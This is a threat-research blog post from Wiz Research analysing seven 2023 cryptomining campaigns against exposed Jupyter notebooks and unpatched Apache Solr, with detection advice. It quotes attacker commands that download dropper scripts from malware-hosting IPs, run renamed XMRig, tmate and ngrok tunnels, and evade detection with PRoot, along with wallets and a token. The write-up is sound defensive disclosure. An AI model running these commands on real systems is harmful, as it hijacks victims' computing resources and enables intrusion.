I know what you mined last summer: summarizing Summer '23 cryptomining activity
During the summer of 2023, using the Wiz Sensor, Wiz Research detected several different cryptomining campaigns targeting cloud workloads. Learn about these campaigns and their associated IoCs, and how to detect and prevent similar threats.
During the summer of 2023, Wiz Research detected several different cryptomining incidents targeting cloud workloads. Combining Wiz Runtime Sensor events and information from Wiz agentless scanning, we were able to pinpoint security flaws that led to the attackers’ initial access, assess the scope of the compromised resources, and analyze the attackers’ activities.
Cryptomining stands out as a common threat to cloud workloads since it takes advantage of paid computing resources and yields direct monetary gains for the attackers. The threat actors behind these activities are mostly interested in making quick profits, aiming to spread their opportunistic mining operations as far and as wide as possible. Typically, these attacks aren't very complex or stealthy. The attackers usually look for easy ways to get in, such as weak SSH passwords, known configuration mistakes, widespread simple exploits, and other low-hanging fruit.
This is understandably a cause for concern for our customers since it can potentially lead to financial losses. Furthermore, it indicates the presence of security flaws that could lead to higher-impact attacks.
In this blog post, we cover seven incidents of cryptomining activities. The first few campaigns utilized open Jupyter Notebooks as an initial access vector, while the rest exploited unpatched Apache Solr v8.1.1. Each campaign used different tooling, which we’ll discuss in detail.
Our main observations from the various campaigns we investigated are as follows:
This attack included a renamed XMRig miner hosted on a GitHub repository. The miner was renamed “newhello” and was executed with the use of tmate and PRoot tools.
Before we delve into the attack flow, let’s understand what tmate and PRoot are and how they can be abused by attackers:
tmate – tmate is a service that provides terminal-sharing and remote-collaboration capabilities. It allows developers to share their command-line terminal sessions with others in real time, enabling collaborative debugging, troubleshooting, and programming. tmate is often abused by attackers to conduct reverse-SSH tunneling [T1048] [T1219] to a compromised resource. However, in this incident, tmate was used to keep the shell session alive and maximize the execution time of the miner.
PRoot – PRoot is a user-space implementation of the chroot mechanism in Linux. chroot is a UNIX-like operating system feature that allows a process and its descendants to see a modified root directory structure, effectively isolating them from the rest of the filesystem. This can be used for various purposes, such as testing, debugging, or running potentially unsafe software in a controlled environment.
PRoot extends this concept by providing a way to run a program with an altered root directory without requiring superuser privileges. Unlike traditional chroot, which requires administrative access, PRoot can be used by regular users to create isolated environments.
PRoot achieves this by intercepting system calls made by the program and redirecting them to the appropriate locations within the modified root directory. This way, the program believes it's running in a different environment than the actual host system. PRoot can be particularly useful for tasks like testing software builds, running old or incompatible programs, and performing system-recovery tasks without affecting the main system.
Threat actors abuse PRoot for two main reasons:
1. By dropping PRoot together with an archived filesystem on the compromised resource, attackers can prepare their entire toolset inside the dropped filesystem without relying on the existing tools and exact architecture of the compromised resource (the bring-your-own-filesystem method).
2. Because PRoot uses process injection and emulation methods, attackers can utilize PRoot to bypass security measures [TA0005] and detections that rely on specific system calls.
Below is an example of executing which nc before and after switching to a different isolated filesystem environment with PRoot. We can see that netcat was not installed in the root filesystem, but was installed on the other filesystem:
First, the threat actor downloaded tmate from its official GitHub repository using wget [T1105], extracted it, and executed it with the –F flag (run in foreground). Via the tmate session, the attacker downloaded the renamed XMRig miner “newhello” [T1496] from a dedicated GitHub repository [T1102] that we believe was created and deleted by the attacker.
The attacker then downloaded an archived file named akuh.zip that includes the PRoot tool and an archived filesystem. akuh.zip was downloaded from a GitHub repository [T1102] belonging to akuh.net, a hub that contains different tools and information for tech hacks.
Next, the attacker executed the following PRoot command from the extracted filesystem ./dist/proot -S . /bin/bash. This PRoot command created an isolated environment using the current directory as the root and started a Bash instance within that environment, meaning every command within the Bash session was executed within the isolated environment [TA0005].
Lastly, the attacker executed newhello with its wallet parameter inside the isolated environment.
Incident #3 – CCminer
What is unique about this incident is that the threat actor used udocker to create a containerized environment based on the Debian Docker image to build and run the CCminer cryptominer.
udocker – an open-source project written in Python that runs Docker images without having root privileges. udocker harnesses several tools such as PRoot, Fakechroot, runc, and Singularity. Without root privileges, these containers cannot access sensitive files or mount a filesystem. However, they are not required to execute cryptominers. udocker is beneficial in that it has a base image with ready-to-use tools.
The attacker downloaded tmate for persistent session curl -LJOk https://github.com/kevinkarinppq/tm/raw/main/tmate. Then, the attacker used wget [T1105] from the tmate session to download the udocker tool [TA0005] and created a debian:bullseye-based container. The attacker downloaded CCminer [T1496] within this container via git clone (git clone --single-branch -b Verus2.2 https://github.com/monkins1010/ccminer.git). The attacker built the CCminer inside the container and then launched it, as seen via the command ./ccminer -a verus -o stratum+tcp://eu.luckpool.net:3956 -u RXdK9Kiiz2pLUu9k8i7Tx9RKhLEnCJq9Us.M1.
Incident #4 – Notebooks, ngrok, and cryptominers
In this attack incident, the attacker attempted to use ngrok to connect remotely to the Jupyter notebook and deploy the cryptominer. Instead of utilizing a C2, the attacker relied on different Github repositories that hosted dedicated tools and miners.
The attacker downloaded tmate from the Github repository [T1102] https://github.com/Arsiflaku/arsilflalku/releases/download/v.1.0/setup.tar.gz. In an attempt to avoid detection, tmate was renamed “python” [TA0005]. The “Arsiflaku” GitHub user was created on May 8th 2023 and seems to have been created to specifically host the renamed tmate tool (at the time of writing, this user has only one repository hosting one release: setup.tar.gz). The attacker then executed tmate with the –F flag (python -F).
Inside the tmate session, the attacker downloaded and executed the root.sh script that was in charge of downloading PRoot and the filesystem from https://media.githubusercontent.com/media/akuhnet/wqemu/master/akuh.zip (the same repository used in the first incident). The script was downloaded from https://raw.githubusercontent.com/akuhnet/wqemu/main/root.sh.
After PRoot was executed, the attacker downloaded and executed run.sh from another Github repository. This was the script tasked with downloading and executing ngrok [T1048] [T1219].
ngrok was executed with the 1xTuUNq7C1dGOlcNLDTE6w1x5Kf_52a2n6e18VgdiWYc9AzFS token. The Github user had been active since September 2022 and hosted different miners and malicious scripts.
In another instance, we saw the use of a similar script hosted on https://raw.githubusercontent.com/0x-raafet/ngrok-ssh-tunnel/main/ngrok-ssh.sh. The ngrok-ssh-tunnel repository was quickly deleted; however, at the time of writing, the 0x-raafet Github user hosts 34 repositories that contain malicious scripts, miners, rootkits, and more.
We have no evidence of a cryptominer [T1496] being delivered in this incident. Nevertheless, after further investigation we discovered that this was a known hack that utilized ngrok and tmate to abuse open notebooks such as Google Collab to execute cryptominers on the underlying infrastructure. For example, https://github.com/a2nk/get-xmr and https://github.com/akuhnet/Colab-SSH are two different GitHub repositories that contain open-source IPython Notebook files (.ipynb) and instructions on how to conduct this type of attack.
Let’s take a closer look at the https://github.com/akuhnet/Colab-SSH repository. The screenshot below is of an IPython Notebook file that downloads and executes tmate and ngrok to allow remote-SSH access to the underlying infrastructure. Under “Auto Reconnect”, there are instructions on how to prevent the notebook from shutting down.
The repository also contains instructions for downloading the nicehash miner, which is also hosted on it under the name “dev”. The command in the screenshot below could be executed via tmate or ngrok interactive SSH sessions to deliver the miner.
Incident #5 - XMR-Stak-RX
This was a simple attack that used the XMR-Stak-RX miner. Interestingly, the attacker hosted the miner’s configuration files on Dropbox.
First, the XMR-Stak-Miner miner [T1496] was downloaded from its GitHub repository sh -c wget https://github.com/fireice-uk/xmr-stak/releases/download/1.0.5-rx/xmr-stak-rx-linux-1.0.5-cpu.tar.xz. After the miner was extracted, pools.txt and configuration.txt were downloaded from Dropbox [T1102] via wget [T1105] to the same working directory. Lastly, the miner was executed.
Initial access vector: unpatched Apache Solr
The following two incidents occurred on a publicly accessible instance of Apache Solr v8.1.1. In both cases, the attacker's initial runtime command was executed under the Java process of Apache Solr. Therefore, we have a high level of confidence in assessing that the initial access was gained through an exploit targeting this service. Version 8.1.1 is known to have multiple Remote Code Execution (RCE) vulnerabilities, including CVE-2019-0193, CVE-2019-12409,CVE-2019-17558, and CVE-2021-44228, making it a prime target for exploitation.
The Java process of Apache Solr was launched with the -Dlog4j2.formatMsgNoLookups=true parameter. Due to this configuration, we can conclude that the initial access did not occur via CVE-2021-44228 (Log4Shell). We are actively investigating these incidents and are open to collaboration on further research.
Based on our data, ~6.5% of cloud customers have at least one VM that is publicly exposed to the internet and running a vulnerable Apache Solr.
Incident #6 – Kinsing
Since it was first documented by Alibaba Cloud at the beginning of 2020, Kinsing (aka H2Miner) has been evolving and actively spreading to cloud workloads via different known exploits and misconfigurations.
Beyond serving as a cryptominer dropper, Kinsing also has backdoor and worm capabilities.
Upon successful exploitation, the attacker dropped the initial script under /tmp/zzz using the curl -o /tmp/zzz 194.87.252[.]159/s.sh [T1105] command, modified its permissions [T1222.002], and executed it. This initial script is tasked with killing existing miner processes and their cronjobs, disabling security measures [T1562.001] and logging, creating persistence via cronjobs [T1053], and dropping and executing Kinsing malware.
Because the script detected that the user id was not root (user_id == 0), Kinsing was dropped under the tmp directory (and not under etc). During its execution, Kinsing communicated with its C2 [TA0011] for further instructions and health checks. Kinsing created the .ICEd-unix [T1564.001] directory under tmp. This directory held the uuid file, a unique victim identifier [T1074], and hosted temporary artifacts used by the malware such as shell scripts.
During its execution, Kinsing dropped and executed the following tools:
1. kdevtmpfsi - UPX-packed [T1027.002] XMRig miner [T1496] (version 6.16.4), dropped under /tmp. The miner was dropped from 31[.]184.240.34/x to /tmp/kdevtmpfsi. The miner is compiled with its configuration; however, the configuration was not used. The network traffic captured below shows the JSON-RPC login message via the Stratum protocol establishing authorization to the miner’s pool.
2. spre.sh - this script searches for SSH credentials [T1552.004] on the infected resource by reading bash_history [T1552.003], SSH config and SSH known_hosts files, and then attempts to spread to other resources via SSH. The script was dropped from 194[.]87.252.159/spre.sh to a random five-character file name under /tmp/.ICEd-unix/ (e.g. /tmp/.ICEd-unix/wcMYi) and was deleted after execution.
3. cron.sh - this script is responsible for updating the cronjob with a new IP and killing other miners’ processes and cronjobs. The script was dropped from 194[.]87.252.159/cron.sh to a random five-character file name under /tmp/.ICEd-unix/ (e.g. /tmp/.ICEd-unix/RHBHO) and was deleted after execution.
At the time of analysis, the sample hadn’t downloaded any additional scripts; however, the malware-hosting IP that was used in this incident hosted many additional scripts including the rootkit installation script (194[.]87.252.159/ap.sh) and the .so file itself (194[.]87.252.159/libsystem.so). Read more about Kinsing’s rootkit [T1574.006] usage in Trend Micro’s analysis.
Incident #7 - z0Miner
This XMRig miner attack is named "z0Miner" and was initially reported by Tencent, targeting vulnerable WebLogic servers. Later it was documented targeting vulnerable Atlassian Confluence servers running on both Linux and Windows operating systems (see the Imperva and ASEC AhnLab blog posts detailing the campaigns). This attack was also reported by Sophos as targeting VMware-Horizon servers via Log4Shell.
Interestingly, we observed usage of the same Monero wallet 44Lu9jhKUuTVcSwGL1jLU6MKyFVNewBdL5mT13fjxLhFTSa5i6E5hMrAv1SmH16NYvc51GY6RnvQSKM4CDFFRov68aRFgYi mentioned in the report by ASEC AhnLab, leading us to believe that this activity was likely conducted by the same threat actor.
Upon successful exploitation, the attacker downloaded the dropper script from the malware-hosting server /tmp/.solrb using curl [T1105] curl -fsSL http://175.118.126[.]65:8002/js/l.txt -o /tmp/.solrb. This script kills other mining processes and attempts to create a cronjob [T1053] using a script from Pastebin https://pastebin.com/raw/GHgCMLRk [T1102] (which seems to be altered).
As described in the code snippet below, the script checks whether the solrd process is already running. If not, it creates a hidden directory under /tmp/.solr [T1564.001], downloads the init script (/tmp/.solr/solr.sh), the XMRig miner [T1496] (/tmp/.solr/solrd), and its configuration file (/tmp/.solr/config.json). Lastly the script executes the init script with nohup so it continues to run after the shell is terminated, sleeps for 10 seconds, and finally deletes the init script from the disk.
The solr.sh init script is responsible for continuously killing other cryptomining processes and ensuring that the solrd miner is executed with nohup. Solrd is an XMRig miner version 6.18.1.
How can Wiz help?
The Wiz agentless host configuration scanner detects misconfigured Jupyter Notebook server instances, allowing you to pinpoint any publicly exposed instances in your environment that allow remote unauthenticated access from any IP address.
The Wiz agentless scanner detects vulnerabilities in different technologies, including Apache Solr. Furthermore, Wiz Runtime Sensor's "validated in runtime" feature can help check whether the vulnerable library is in use. This capability combined with contextual information from Wiz agentless scanner (including exposure, sensitive permissions, and more), allows security teams to better prioritize patching efforts.
TheWiz Runtime Sensor detects different types of malicious activity as an adversary moves through the attack chain:
Initial payload delivery (e.g. the Sensor rule: “File created/modified by an ingress tool that established a remote connection”)
Access to sensitive files on the resource (e.g: “Shell history was accessed”)
Container drift execution of a payload on a writable layer (e.g: “Container drift - image file not present in container image was executed”)
Execution of the final intended cryptomining activity (e.g: “Connection to a known cryptomining pool”).
For example, the alert below details access to a shell history file by the spreader script that was executed by Kinsing. Click here to learn more about the Wiz Runtime Sensor.
Threat actors behind cryptominers are often seeking easy access to cloud workloads and are still successfully exploiting old vulnerabilities. In this blog post, we’ve detailed seven different attack incidents we observed over the summer. Each incident employed a distinct set of techniques and tools; nevertheless, all these attacks were executed with the aim of deploying cryptominers.
These incidents should serve as a prompt for organizations to acquire a security-posture solution, which helps security teams mitigate toxic-risk combinations and reduce attack surfaces that might otherwise be abused by threat actors. This should be coupled with a runtime protection mechanism that can swiftly identify and address security breaches before they become impactful.
Please feel free to reach out to email@example.com if you’ve been impacted by this activity or wish to exchange further information and IoCs that might assist in ongoing analysis.
This blog post was written by Wiz Research, as part of our ongoing mission to analyze threats to the cloud, build mechanisms that prevent and detect them, and fortify cloud security strategies.